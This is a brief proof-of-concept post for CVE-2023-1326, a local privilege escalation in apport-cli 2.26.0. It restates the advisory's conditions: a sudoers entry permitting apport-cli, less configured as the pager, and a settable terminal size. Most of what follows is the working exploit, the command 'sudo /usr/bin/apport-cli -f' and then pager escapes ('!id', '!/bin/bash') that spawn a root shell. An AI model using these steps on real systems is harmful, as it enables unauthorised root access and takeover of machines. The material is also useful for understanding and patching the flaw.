A proof of concept for CVE-2023–1326 in apport-cli 2.26.0
This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023–26604, this vulnerability only works if assign in sudoers:
A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege.
sudo /usr/bin/apport-cli -f
!id
!/bin/bash
